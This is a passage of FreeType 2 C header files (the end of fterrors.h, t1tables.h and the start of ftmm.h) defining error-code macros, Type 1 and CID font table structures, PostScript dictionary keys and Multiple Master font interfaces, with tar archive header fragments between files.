`__FTERRORS_H__'. However, */ /* using two successive underscores in a non-system symbol name */ /* violates the C (and C++) standard, so it was changed to the */ /* current form. In spite of this, we have to make */ /* */ /* #undefine __FTERRORS_H__ */ /* */ /* work for backward compatibility. */ /* */ #if !( defined( FTERRORS_H_ ) && defined ( __FTERRORS_H__ ) ) #define FTERRORS_H_ #define __FTERRORS_H__ /* include module base error codes */ #include FT_MODULE_ERRORS_H /*******************************************************************/ /*******************************************************************/ /***** *****/ /***** SETUP MACROS *****/ /***** *****/ /*******************************************************************/ /*******************************************************************/ #undef FT_NEED_EXTERN_C /* FT_ERR_PREFIX is used as a prefix for error identifiers. */ /* By default, we use `FT_Err_'. */ /* */ #ifndef FT_ERR_PREFIX #define FT_ERR_PREFIX FT_Err_ #endif /* FT_ERR_BASE is used as the base for module-specific errors. */ /* */ #ifdef FT_CONFIG_OPTION_USE_MODULE_ERRORS #ifndef FT_ERR_BASE #define FT_ERR_BASE FT_Mod_Err_Base #endif #else #undef FT_ERR_BASE #define FT_ERR_BASE 0 #endif /* FT_CONFIG_OPTION_USE_MODULE_ERRORS */ /* If FT_ERRORDEF is not defined, we need to define a simple */ /* enumeration type. */ /* */ #ifndef FT_ERRORDEF #define FT_ERRORDEF( e, v, s ) e = v, #define FT_ERROR_START_LIST enum { #define FT_ERROR_END_LIST FT_ERR_CAT( FT_ERR_PREFIX, Max ) }; #ifdef __cplusplus #define FT_NEED_EXTERN_C extern "C" { #endif #endif /* !FT_ERRORDEF */ /* this macro is used to define an error */ #define FT_ERRORDEF_( e, v, s ) \ FT_ERRORDEF( FT_ERR_CAT( FT_ERR_PREFIX, e ), v + FT_ERR_BASE, s ) /* this is only used for <module>_Err_Ok, which must be 0! */ #define FT_NOERRORDEF_( e, v, s ) \ FT_ERRORDEF( FT_ERR_CAT( FT_ERR_PREFIX, e ), v, s ) #ifdef FT_ERROR_START_LIST FT_ERROR_START_LIST #endif /* now include the error codes */ #include FT_ERROR_DEFINITIONS_H #ifdef FT_ERROR_END_LIST FT_ERROR_END_LIST #endif /*******************************************************************/ /*******************************************************************/ /***** *****/ /***** SIMPLE CLEANUP *****/ /***** *****/ /*******************************************************************/ /*******************************************************************/ #ifdef FT_NEED_EXTERN_C } #endif #undef FT_ERROR_START_LIST #undef FT_ERROR_END_LIST #undef FT_ERRORDEF #undef FT_ERRORDEF_ #undef FT_NOERRORDEF_ #undef FT_NEED_EXTERN_C #undef FT_ERR_BASE /* FT_ERR_PREFIX is needed internally */ #ifndef FT2_BUILD_LIBRARY #undef FT_ERR_PREFIX #endif #endif /* !(FTERRORS_H_ && __FTERRORS_H__) */ /* END */ freetype2/freetype/t1tables.h 0000644 00000105310 15246445047 0012177 0 ustar 00 /***************************************************************************/ /* */ /* t1tables.h */ /* */ /* Basic Type 1/Type 2 tables definitions and interface (specification */ /* only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef T1TABLES_H_ #define T1TABLES_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* type1_tables */ /* */ /* <Title> */ /* Type 1 Tables */ /* */ /* <Abstract> */ /* Type~1 (PostScript) specific font tables. */ /* */ /* <Description> */ /* This section contains the definition of Type 1-specific tables, */ /* including structures related to other PostScript font formats. */ /* */ /* <Order> */ /* PS_FontInfoRec */ /* PS_FontInfo */ /* PS_PrivateRec */ /* PS_Private */ /* */ /* CID_FaceDictRec */ /* CID_FaceDict */ /* CID_FaceInfoRec */ /* CID_FaceInfo */ /* */ /* FT_Has_PS_Glyph_Names */ /* FT_Get_PS_Font_Info */ /* FT_Get_PS_Font_Private */ /* FT_Get_PS_Font_Value */ /* */ /* T1_Blend_Flags */ /* T1_EncodingType */ /* PS_Dict_Keys */ /* */ /*************************************************************************/ /* Note that we separate font data in PS_FontInfoRec and PS_PrivateRec */ /* structures in order to support Multiple Master fonts. */ /*************************************************************************/ /* */ /* <Struct> */ /* PS_FontInfoRec */ /* */ /* <Description> */ /* A structure used to model a Type~1 or Type~2 FontInfo dictionary. */ /* Note that for Multiple Master fonts, each instance has its own */ /* FontInfo dictionary. */ /* */ typedef struct PS_FontInfoRec_ { FT_String* version; FT_String* notice; FT_String* full_name; FT_String* family_name; FT_String* weight; FT_Long italic_angle; FT_Bool is_fixed_pitch; FT_Short underline_position; FT_UShort underline_thickness; } PS_FontInfoRec; /*************************************************************************/ /* */ /* <Struct> */ /* PS_FontInfo */ /* */ /* <Description> */ /* A handle to a @PS_FontInfoRec structure. */ /* */ typedef struct PS_FontInfoRec_* PS_FontInfo; /*************************************************************************/ /* */ /* <Struct> */ /* T1_FontInfo */ /* */ /* <Description> */ /* This type is equivalent to @PS_FontInfoRec. It is deprecated but */ /* kept to maintain source compatibility between various versions of */ /* FreeType. */ /* */ typedef PS_FontInfoRec T1_FontInfo; /*************************************************************************/ /* */ /* <Struct> */ /* PS_PrivateRec */ /* */ /* <Description> */ /* A structure used to model a Type~1 or Type~2 private dictionary. */ /* Note that for Multiple Master fonts, each instance has its own */ /* Private dictionary. */ /* */ typedef struct PS_PrivateRec_ { FT_Int unique_id; FT_Int lenIV; FT_Byte num_blue_values; FT_Byte num_other_blues; FT_Byte num_family_blues; FT_Byte num_family_other_blues; FT_Short blue_values[14]; FT_Short other_blues[10]; FT_Short family_blues [14]; FT_Short family_other_blues[10]; FT_Fixed blue_scale; FT_Int blue_shift; FT_Int blue_fuzz; FT_UShort standard_width[1]; FT_UShort standard_height[1]; FT_Byte num_snap_widths; FT_Byte num_snap_heights; FT_Bool force_bold; FT_Bool round_stem_up; FT_Short snap_widths [13]; /* including std width */ FT_Short snap_heights[13]; /* including std height */ FT_Fixed expansion_factor; FT_Long language_group; FT_Long password; FT_Short min_feature[2]; } PS_PrivateRec; /*************************************************************************/ /* */ /* <Struct> */ /* PS_Private */ /* */ /* <Description> */ /* A handle to a @PS_PrivateRec structure. */ /* */ typedef struct PS_PrivateRec_* PS_Private; /*************************************************************************/ /* */ /* <Struct> */ /* T1_Private */ /* */ /* <Description> */ /* This type is equivalent to @PS_PrivateRec. It is deprecated but */ /* kept to maintain source compatibility between various versions of */ /* FreeType. */ /* */ typedef PS_PrivateRec T1_Private; /*************************************************************************/ /* */ /* <Enum> */ /* T1_Blend_Flags */ /* */ /* <Description> */ /* A set of flags used to indicate which fields are present in a */ /* given blend dictionary (font info or private). Used to support */ /* Multiple Masters fonts. */ /* */ /* <Values> */ /* T1_BLEND_UNDERLINE_POSITION :: */ /* T1_BLEND_UNDERLINE_THICKNESS :: */ /* T1_BLEND_ITALIC_ANGLE :: */ /* T1_BLEND_BLUE_VALUES :: */ /* T1_BLEND_OTHER_BLUES :: */ /* T1_BLEND_STANDARD_WIDTH :: */ /* T1_BLEND_STANDARD_HEIGHT :: */ /* T1_BLEND_STEM_SNAP_WIDTHS :: */ /* T1_BLEND_STEM_SNAP_HEIGHTS :: */ /* T1_BLEND_BLUE_SCALE :: */ /* T1_BLEND_BLUE_SHIFT :: */ /* T1_BLEND_FAMILY_BLUES :: */ /* T1_BLEND_FAMILY_OTHER_BLUES :: */ /* T1_BLEND_FORCE_BOLD :: */ /* */ typedef enum T1_Blend_Flags_ { /* required fields in a FontInfo blend dictionary */ T1_BLEND_UNDERLINE_POSITION = 0, T1_BLEND_UNDERLINE_THICKNESS, T1_BLEND_ITALIC_ANGLE, /* required fields in a Private blend dictionary */ T1_BLEND_BLUE_VALUES, T1_BLEND_OTHER_BLUES, T1_BLEND_STANDARD_WIDTH, T1_BLEND_STANDARD_HEIGHT, T1_BLEND_STEM_SNAP_WIDTHS, T1_BLEND_STEM_SNAP_HEIGHTS, T1_BLEND_BLUE_SCALE, T1_BLEND_BLUE_SHIFT, T1_BLEND_FAMILY_BLUES, T1_BLEND_FAMILY_OTHER_BLUES, T1_BLEND_FORCE_BOLD, T1_BLEND_MAX /* do not remove */ } T1_Blend_Flags; /* these constants are deprecated; use the corresponding */ /* `T1_Blend_Flags' values instead */ #define t1_blend_underline_position T1_BLEND_UNDERLINE_POSITION #define t1_blend_underline_thickness T1_BLEND_UNDERLINE_THICKNESS #define t1_blend_italic_angle T1_BLEND_ITALIC_ANGLE #define t1_blend_blue_values T1_BLEND_BLUE_VALUES #define t1_blend_other_blues T1_BLEND_OTHER_BLUES #define t1_blend_standard_widths T1_BLEND_STANDARD_WIDTH #define t1_blend_standard_height T1_BLEND_STANDARD_HEIGHT #define t1_blend_stem_snap_widths T1_BLEND_STEM_SNAP_WIDTHS #define t1_blend_stem_snap_heights T1_BLEND_STEM_SNAP_HEIGHTS #define t1_blend_blue_scale T1_BLEND_BLUE_SCALE #define t1_blend_blue_shift T1_BLEND_BLUE_SHIFT #define t1_blend_family_blues T1_BLEND_FAMILY_BLUES #define t1_blend_family_other_blues T1_BLEND_FAMILY_OTHER_BLUES #define t1_blend_force_bold T1_BLEND_FORCE_BOLD #define t1_blend_max T1_BLEND_MAX /* */ /* maximum number of Multiple Masters designs, as defined in the spec */ #define T1_MAX_MM_DESIGNS 16 /* maximum number of Multiple Masters axes, as defined in the spec */ #define T1_MAX_MM_AXIS 4 /* maximum number of elements in a design map */ #define T1_MAX_MM_MAP_POINTS 20 /* this structure is used to store the BlendDesignMap entry for an axis */ typedef struct PS_DesignMap_ { FT_Byte num_points; FT_Long* design_points; FT_Fixed* blend_points; } PS_DesignMapRec, *PS_DesignMap; /* backward compatible definition */ typedef PS_DesignMapRec T1_DesignMap; typedef struct PS_BlendRec_ { FT_UInt num_designs; FT_UInt num_axis; FT_String* axis_names[T1_MAX_MM_AXIS]; FT_Fixed* design_pos[T1_MAX_MM_DESIGNS]; PS_DesignMapRec design_map[T1_MAX_MM_AXIS]; FT_Fixed* weight_vector; FT_Fixed* default_weight_vector; PS_FontInfo font_infos[T1_MAX_MM_DESIGNS + 1]; PS_Private privates [T1_MAX_MM_DESIGNS + 1]; FT_ULong blend_bitflags; FT_BBox* bboxes [T1_MAX_MM_DESIGNS + 1]; /* since 2.3.0 */ /* undocumented, optional: the default design instance; */ /* corresponds to default_weight_vector -- */ /* num_default_design_vector == 0 means it is not present */ /* in the font and associated metrics files */ FT_UInt default_design_vector[T1_MAX_MM_DESIGNS]; FT_UInt num_default_design_vector; } PS_BlendRec, *PS_Blend; /* backward compatible definition */ typedef PS_BlendRec T1_Blend; /*************************************************************************/ /* */ /* <Struct> */ /* CID_FaceDictRec */ /* */ /* <Description> */ /* A structure used to represent data in a CID top-level dictionary. */ /* */ typedef struct CID_FaceDictRec_ { PS_PrivateRec private_dict; FT_UInt len_buildchar; FT_Fixed forcebold_threshold; FT_Pos stroke_width; FT_Fixed expansion_factor; FT_Byte paint_type; FT_Byte font_type; FT_Matrix font_matrix; FT_Vector font_offset; FT_UInt num_subrs; FT_ULong subrmap_offset; FT_Int sd_bytes; } CID_FaceDictRec; /*************************************************************************/ /* */ /* <Struct> */ /* CID_FaceDict */ /* */ /* <Description> */ /* A handle to a @CID_FaceDictRec structure. */ /* */ typedef struct CID_FaceDictRec_* CID_FaceDict; /*************************************************************************/ /* */ /* <Struct> */ /* CID_FontDict */ /* */ /* <Description> */ /* This type is equivalent to @CID_FaceDictRec. It is deprecated but */ /* kept to maintain source compatibility between various versions of */ /* FreeType. */ /* */ typedef CID_FaceDictRec CID_FontDict; /*************************************************************************/ /* */ /* <Struct> */ /* CID_FaceInfoRec */ /* */ /* <Description> */ /* A structure used to represent CID Face information. */ /* */ typedef struct CID_FaceInfoRec_ { FT_String* cid_font_name; FT_Fixed cid_version; FT_Int cid_font_type; FT_String* registry; FT_String* ordering; FT_Int supplement; PS_FontInfoRec font_info; FT_BBox font_bbox; FT_ULong uid_base; FT_Int num_xuid; FT_ULong xuid[16]; FT_ULong cidmap_offset; FT_Int fd_bytes; FT_Int gd_bytes; FT_ULong cid_count; FT_Int num_dicts; CID_FaceDict font_dicts; FT_ULong data_offset; } CID_FaceInfoRec; /*************************************************************************/ /* */ /* <Struct> */ /* CID_FaceInfo */ /* */ /* <Description> */ /* A handle to a @CID_FaceInfoRec structure. */ /* */ typedef struct CID_FaceInfoRec_* CID_FaceInfo; /*************************************************************************/ /* */ /* <Struct> */ /* CID_Info */ /* */ /* <Description> */ /* This type is equivalent to @CID_FaceInfoRec. It is deprecated but */ /* kept to maintain source compatibility between various versions of */ /* FreeType. */ /* */ typedef CID_FaceInfoRec CID_Info; /************************************************************************ * * @function: * FT_Has_PS_Glyph_Names * * @description: * Return true if a given face provides reliable PostScript glyph * names. This is similar to using the @FT_HAS_GLYPH_NAMES macro, * except that certain fonts (mostly TrueType) contain incorrect * glyph name tables. * * When this function returns true, the caller is sure that the glyph * names returned by @FT_Get_Glyph_Name are reliable. * * @input: * face :: * face handle * * @return: * Boolean. True if glyph names are reliable. * */ FT_EXPORT( FT_Int ) FT_Has_PS_Glyph_Names( FT_Face face ); /************************************************************************ * * @function: * FT_Get_PS_Font_Info * * @description: * Retrieve the @PS_FontInfoRec structure corresponding to a given * PostScript font. * * @input: * face :: * PostScript face handle. * * @output: * afont_info :: * Output font info structure pointer. * * @return: * FreeType error code. 0~means success. * * @note: * String pointers within the @PS_FontInfoRec structure are owned by * the face and don't need to be freed by the caller. Missing entries * in the font's FontInfo dictionary are represented by NULL pointers. * * If the font's format is not PostScript-based, this function will * return the `FT_Err_Invalid_Argument' error code. * */ FT_EXPORT( FT_Error ) FT_Get_PS_Font_Info( FT_Face face, PS_FontInfo afont_info ); /************************************************************************ * * @function: * FT_Get_PS_Font_Private * * @description: * Retrieve the @PS_PrivateRec structure corresponding to a given * PostScript font. * * @input: * face :: * PostScript face handle. * * @output: * afont_private :: * Output private dictionary structure pointer. * * @return: * FreeType error code. 0~means success. * * @note: * The string pointers within the @PS_PrivateRec structure are owned by * the face and don't need to be freed by the caller. * * If the font's format is not PostScript-based, this function returns * the `FT_Err_Invalid_Argument' error code. * */ FT_EXPORT( FT_Error ) FT_Get_PS_Font_Private( FT_Face face, PS_Private afont_private ); /*************************************************************************/ /* */ /* <Enum> */ /* T1_EncodingType */ /* */ /* <Description> */ /* An enumeration describing the `Encoding' entry in a Type 1 */ /* dictionary. */ /* */ /* <Values> */ /* T1_ENCODING_TYPE_NONE :: */ /* T1_ENCODING_TYPE_ARRAY :: */ /* T1_ENCODING_TYPE_STANDARD :: */ /* T1_ENCODING_TYPE_ISOLATIN1 :: */ /* T1_ENCODING_TYPE_EXPERT :: */ /* */ /* <Since> */ /* 2.4.8 */ /* */ typedef enum T1_EncodingType_ { T1_ENCODING_TYPE_NONE = 0, T1_ENCODING_TYPE_ARRAY, T1_ENCODING_TYPE_STANDARD, T1_ENCODING_TYPE_ISOLATIN1, T1_ENCODING_TYPE_EXPERT } T1_EncodingType; /*************************************************************************/ /* */ /* <Enum> */ /* PS_Dict_Keys */ /* */ /* <Description> */ /* An enumeration used in calls to @FT_Get_PS_Font_Value to identify */ /* the Type~1 dictionary entry to retrieve. */ /* */ /* <Values> */ /* PS_DICT_FONT_TYPE :: */ /* PS_DICT_FONT_MATRIX :: */ /* PS_DICT_FONT_BBOX :: */ /* PS_DICT_PAINT_TYPE :: */ /* PS_DICT_FONT_NAME :: */ /* PS_DICT_UNIQUE_ID :: */ /* PS_DICT_NUM_CHAR_STRINGS :: */ /* PS_DICT_CHAR_STRING_KEY :: */ /* PS_DICT_CHAR_STRING :: */ /* PS_DICT_ENCODING_TYPE :: */ /* PS_DICT_ENCODING_ENTRY :: */ /* PS_DICT_NUM_SUBRS :: */ /* PS_DICT_SUBR :: */ /* PS_DICT_STD_HW :: */ /* PS_DICT_STD_VW :: */ /* PS_DICT_NUM_BLUE_VALUES :: */ /* PS_DICT_BLUE_VALUE :: */ /* PS_DICT_BLUE_FUZZ :: */ /* PS_DICT_NUM_OTHER_BLUES :: */ /* PS_DICT_OTHER_BLUE :: */ /* PS_DICT_NUM_FAMILY_BLUES :: */ /* PS_DICT_FAMILY_BLUE :: */ /* PS_DICT_NUM_FAMILY_OTHER_BLUES :: */ /* PS_DICT_FAMILY_OTHER_BLUE :: */ /* PS_DICT_BLUE_SCALE :: */ /* PS_DICT_BLUE_SHIFT :: */ /* PS_DICT_NUM_STEM_SNAP_H :: */ /* PS_DICT_STEM_SNAP_H :: */ /* PS_DICT_NUM_STEM_SNAP_V :: */ /* PS_DICT_STEM_SNAP_V :: */ /* PS_DICT_FORCE_BOLD :: */ /* PS_DICT_RND_STEM_UP :: */ /* PS_DICT_MIN_FEATURE :: */ /* PS_DICT_LEN_IV :: */ /* PS_DICT_PASSWORD :: */ /* PS_DICT_LANGUAGE_GROUP :: */ /* PS_DICT_VERSION :: */ /* PS_DICT_NOTICE :: */ /* PS_DICT_FULL_NAME :: */ /* PS_DICT_FAMILY_NAME :: */ /* PS_DICT_WEIGHT :: */ /* PS_DICT_IS_FIXED_PITCH :: */ /* PS_DICT_UNDERLINE_POSITION :: */ /* PS_DICT_UNDERLINE_THICKNESS :: */ /* PS_DICT_FS_TYPE :: */ /* PS_DICT_ITALIC_ANGLE :: */ /* */ /* <Since> */ /* 2.4.8 */ /* */ typedef enum PS_Dict_Keys_ { /* conventionally in the font dictionary */ PS_DICT_FONT_TYPE, /* FT_Byte */ PS_DICT_FONT_MATRIX, /* FT_Fixed */ PS_DICT_FONT_BBOX, /* FT_Fixed */ PS_DICT_PAINT_TYPE, /* FT_Byte */ PS_DICT_FONT_NAME, /* FT_String* */ PS_DICT_UNIQUE_ID, /* FT_Int */ PS_DICT_NUM_CHAR_STRINGS, /* FT_Int */ PS_DICT_CHAR_STRING_KEY, /* FT_String* */ PS_DICT_CHAR_STRING, /* FT_String* */ PS_DICT_ENCODING_TYPE, /* T1_EncodingType */ PS_DICT_ENCODING_ENTRY, /* FT_String* */ /* conventionally in the font Private dictionary */ PS_DICT_NUM_SUBRS, /* FT_Int */ PS_DICT_SUBR, /* FT_String* */ PS_DICT_STD_HW, /* FT_UShort */ PS_DICT_STD_VW, /* FT_UShort */ PS_DICT_NUM_BLUE_VALUES, /* FT_Byte */ PS_DICT_BLUE_VALUE, /* FT_Short */ PS_DICT_BLUE_FUZZ, /* FT_Int */ PS_DICT_NUM_OTHER_BLUES, /* FT_Byte */ PS_DICT_OTHER_BLUE, /* FT_Short */ PS_DICT_NUM_FAMILY_BLUES, /* FT_Byte */ PS_DICT_FAMILY_BLUE, /* FT_Short */ PS_DICT_NUM_FAMILY_OTHER_BLUES, /* FT_Byte */ PS_DICT_FAMILY_OTHER_BLUE, /* FT_Short */ PS_DICT_BLUE_SCALE, /* FT_Fixed */ PS_DICT_BLUE_SHIFT, /* FT_Int */ PS_DICT_NUM_STEM_SNAP_H, /* FT_Byte */ PS_DICT_STEM_SNAP_H, /* FT_Short */ PS_DICT_NUM_STEM_SNAP_V, /* FT_Byte */ PS_DICT_STEM_SNAP_V, /* FT_Short */ PS_DICT_FORCE_BOLD, /* FT_Bool */ PS_DICT_RND_STEM_UP, /* FT_Bool */ PS_DICT_MIN_FEATURE, /* FT_Short */ PS_DICT_LEN_IV, /* FT_Int */ PS_DICT_PASSWORD, /* FT_Long */ PS_DICT_LANGUAGE_GROUP, /* FT_Long */ /* conventionally in the font FontInfo dictionary */ PS_DICT_VERSION, /* FT_String* */ PS_DICT_NOTICE, /* FT_String* */ PS_DICT_FULL_NAME, /* FT_String* */ PS_DICT_FAMILY_NAME, /* FT_String* */ PS_DICT_WEIGHT, /* FT_String* */ PS_DICT_IS_FIXED_PITCH, /* FT_Bool */ PS_DICT_UNDERLINE_POSITION, /* FT_Short */ PS_DICT_UNDERLINE_THICKNESS, /* FT_UShort */ PS_DICT_FS_TYPE, /* FT_UShort */ PS_DICT_ITALIC_ANGLE, /* FT_Long */ PS_DICT_MAX = PS_DICT_ITALIC_ANGLE } PS_Dict_Keys; /************************************************************************ * * @function: * FT_Get_PS_Font_Value * * @description: * Retrieve the value for the supplied key from a PostScript font. * * @input: * face :: * PostScript face handle. * * key :: * An enumeration value representing the dictionary key to retrieve. * * idx :: * For array values, this specifies the index to be returned. * * value :: * A pointer to memory into which to write the value. * * valen_len :: * The size, in bytes, of the memory supplied for the value. * * @output: * value :: * The value matching the above key, if it exists. * * @return: * The amount of memory (in bytes) required to hold the requested * value (if it exists, -1 otherwise). * * @note: * The values returned are not pointers into the internal structures of * the face, but are `fresh' copies, so that the memory containing them * belongs to the calling application. This also enforces the * `read-only' nature of these values, i.e., this function cannot be * used to manipulate the face. * * `value' is a void pointer because the values returned can be of * various types. * * If either `value' is NULL or `value_len' is too small, just the * required memory size for the requested entry is returned. * * The `idx' parameter is used, not only to retrieve elements of, for * example, the FontMatrix or FontBBox, but also to retrieve name keys * from the CharStrings dictionary, and the charstrings themselves. It * is ignored for atomic values. * * PS_DICT_BLUE_SCALE returns a value that is scaled up by 1000. To * get the value as in the font stream, you need to divide by * 65536000.0 (to remove the FT_Fixed scale, and the x1000 scale). * * IMPORTANT: Only key/value pairs read by the FreeType interpreter can * be retrieved. So, for example, PostScript procedures such as NP, * ND, and RD are not available. Arbitrary keys are, obviously, not be * available either. * * If the font's format is not PostScript-based, this function returns * the `FT_Err_Invalid_Argument' error code. * * @since: * 2.4.8 * */ FT_EXPORT( FT_Long ) FT_Get_PS_Font_Value( FT_Face face, PS_Dict_Keys key, FT_UInt idx, void *value, FT_Long value_len ); /* */ FT_END_HEADER #endif /* T1TABLES_H_ */ /* END */ freetype2/freetype/ftmm.h 0000644 00000120573 15246445047 0011433 0 ustar 00 /***************************************************************************/ /* */ /* ftmm.h */ /* */ /* FreeType Multiple Master font interface (specification). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTMM_H_ #define FTMM_H_ #include <ft2build.h> #include FT_TYPE1_TABLES_H FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* multiple_masters */ /* */ /* <Title> */ /* Multiple Masters */ /* */ /* <Abstract> */ /* How to manage Multiple Masters fonts. */ /* */ /* <Description> */ /* The following types and functions are used to manage Multiple */ /* Master fonts, i.e., the selection of specific design instances by */ /* setting design axis coordinates. */ /* */ /* Besides Adobe MM fonts, the interface supports Apple's TrueType GX */ /* and OpenType variation fonts. Some of the routines only work with */ /* Adobe MM fonts, others will work with all three types. They are */ /* similar enough that a consistent interface makes sense. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* FT_MM_Axis */ /* */ /* <Description> */ /* A structure to model a given axis in design space for Multiple */ /* Masters fonts. */ /* */ /* This structure can't be used for TrueType GX or OpenType variation */ /* fonts. */ /* */ /* <Fields> */ /* name :: The axis's name. */ /* */ /* minimum :: The axis's minimum design coordinate. */ /* */ /* maximum :: The axis's maximum design coordinate. */ /* */ typedef struct FT_MM_Axis_ { FT_String* name; FT_Long minimum; FT_Long maximum; } FT_MM_Axis; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Multi_Master */ /* */ /* <Description> */ /* A structure to model the axes and space of a Multiple Masters */ /* font. */ /* */ /* This structure can't be used for TrueType GX or OpenType variation */ /* fonts. */ /* */ /* <Fields> */ /* num_axis :: Number of axes. Cannot exceed~4. */ /* */ /* num_designs :: Number of designs; should be normally 2^num_axis */ /* even though the Type~1 specification strangely */ /* allows for intermediate designs to be present. */ /* This number cannot exceed~16. */ /* */ /* axis :: A table of axis descriptors. */ /* */ typedef struct FT_Multi_Master_ { FT_UInt num_axis; FT_UInt num_designs; FT_MM_Axis axis[T1_MAX_MM_AXIS]; } FT_Multi_Master; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Var_Axis */ /* */ /* <Description> */ /* A structure to model a given axis in design space for Multiple */ /* Masters, TrueType GX, and OpenType variation fonts. */ /* */ /* <Fields> */ /* name :: The axis's name. */ /* Not always meaningful for TrueType GX or OpenType */ /* variation fonts. */ /* */ /* minimum :: The axis's minimum design coordinate. */ /* */ /* def :: The axis's default design coordinate. */ /* FreeType computes meaningful default values for Adobe */ /* MM fonts. */ /* */ /* maximum :: The axis's maximum design coordinate. */ /* */ /* tag :: The axis's tag (the equivalent to `name' for TrueType */ /* GX and OpenType variation fonts). FreeType provides */ /* default values for Adobe MM fonts if possible. */ /* */ /* strid :: The axis name entry in the font's `name' table. This */ /* is another (and often better) version of the `name' */ /* field for TrueType GX or OpenType variation fonts. Not */ /* meaningful for Adobe MM fonts. */ /* */ /* <Note> */ /* The fields `minimum', `def', and `maximum' are 16.16 fractional */ /* values for TrueType GX and OpenType variation fonts. For Adobe MM */ /* fonts, the values are integers. */ /* */ typedef struct FT_Var_Axis_ { FT_String* name; FT_Fixed minimum; FT_Fixed def; FT_Fixed maximum; FT_ULong tag; FT_UInt strid; } FT_Var_Axis; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Var_Named_Style */ /* */ /* <Description> */ /* A structure to model a named instance in a TrueType GX or OpenType */ /* variation font. */ /* */ /* This structure can't be used for Adobe MM fonts. */ /* */ /* <Fields> */ /* coords :: The design coordinates for this instance. */ /* This is an array with one entry for each axis. */ /* */ /* strid :: The entry in `name' table identifying this instance. */ /* */ /* psid :: The entry in `name' table identifying a PostScript name */ /* for this instance. Value 0xFFFF indicates a missing */ /* entry. */ /* */ typedef struct FT_Var_Named_Style_ { FT_Fixed* coords; FT_UInt strid; FT_UInt psid; /* since 2.7.1 */ } FT_Var_Named_Style; /*************************************************************************/ /* */ /* <Struct> */ /* FT_MM_Var */ /* */ /* <Description> */ /* A structure to model the axes and space of an Adobe MM, TrueType */ /* GX, or OpenType variation font. */ /* */ /* Some fields are specific to one format and not to the others. */ /* */ /* <Fields> */ /* num_axis :: The number of axes. The maximum value is~4 for */ /* Adobe MM fonts; no limit in TrueType GX or */ /* OpenType variation fonts. */ /* */ /* num_designs :: The number of designs; should be normally */ /* 2^num_axis for Adobe MM fonts. Not meaningful */ /* for TrueType GX or OpenType variation fonts */ /* (where every glyph could have a different */ /* number of designs). */ /* */ /* num_namedstyles :: The number of named styles; a `named style' is */ /* a tuple of design coordinates that has a string */ /* ID (in the `name' table) associated with it. */ /* The font can tell the user that, for example, */ /* [Weight=1.5,Width=1.1] is `Bold'. Another name */ /* for `named style' is `named instance'. */ /* */ /* For Adobe Multiple Masters fonts, this value is */ /* always zero because the format does not support */ /* named styles. */ /* */ /* axis :: An axis descriptor table. */ /* TrueType GX and OpenType variation fonts */ /* contain slightly more data than Adobe MM fonts. */ /* Memory management of this pointer is done */ /* internally by FreeType. */ /* */ /* namedstyle :: A named style (instance) table. */ /* Only meaningful for TrueType GX and OpenType */ /* variation fonts. Memory management of this */ /* pointer is done internally by FreeType. */ /* */ typedef struct FT_MM_Var_ { FT_UInt num_axis; FT_UInt num_designs; FT_UInt num_namedstyles; FT_Var_Axis* axis; FT_Var_Named_Style* namedstyle; } FT_MM_Var; /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Multi_Master */ /* */ /* <Description> */ /* Retrieve a variation descriptor of a given Adobe MM font. */ /* */ /* This function can't be used with TrueType GX or OpenType variation */ /* fonts. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* <Output> */ /* amaster :: The Multiple Masters descriptor. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Multi_Master( FT_Face face, FT_Multi_Master *amaster ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_MM_Var */ /* */ /* <Description> */ /* Retrieve a variation descriptor for a given font. */ /* */ /* This function works with all supported variation formats. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* <Output> */ /* amaster :: The variation descriptor. */ /* Allocates a data structure, which the user must */ /* deallocate with a call to @FT_Done_MM_Var after use. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Get_MM_Var( FT_Face face, FT_MM_Var* *amaster ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Done_MM_Var */ /* */ /* <Description> */ /* Free the memory allocated by @FT_Get_MM_Var. */ /* */ /* <Input> */ /* library :: A handle of the face's parent library object that was */ /* used in the call to @FT_Get_MM_Var to create `amaster'. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ FT_EXPORT( FT_Error ) FT_Done_MM_Var( FT_Library library, FT_MM_Var *amaster ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Set_MM_Design_Coordinates */ /* */ /* <Description> */ /* For Adobe MM fonts, choose an interpolated font design through */ /* design coordinates. */ /* */ /* This function can't be used with TrueType GX or OpenType variation */ /* fonts. */ /* */ /* <InOut> */ /* face :: A handle to the source face. */ /* */ /* <Input> */ /* num_coords :: The number of available design coordinates. If it */ /* is larger than the number of axes, ignore the excess */ /* values. If it is smaller than the number of axes, */ /* use default values for the remaining axes. */ /* */ /* coords :: An array of design coordinates. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* [Since 2.8.1] To reset all axes to the default values, call the */ /* function with `num_coords' set to zero and `coords' set to NULL. */ /* */ /* [Since 2.9] If `num_coords' is larger than zero, this function */ /* sets the 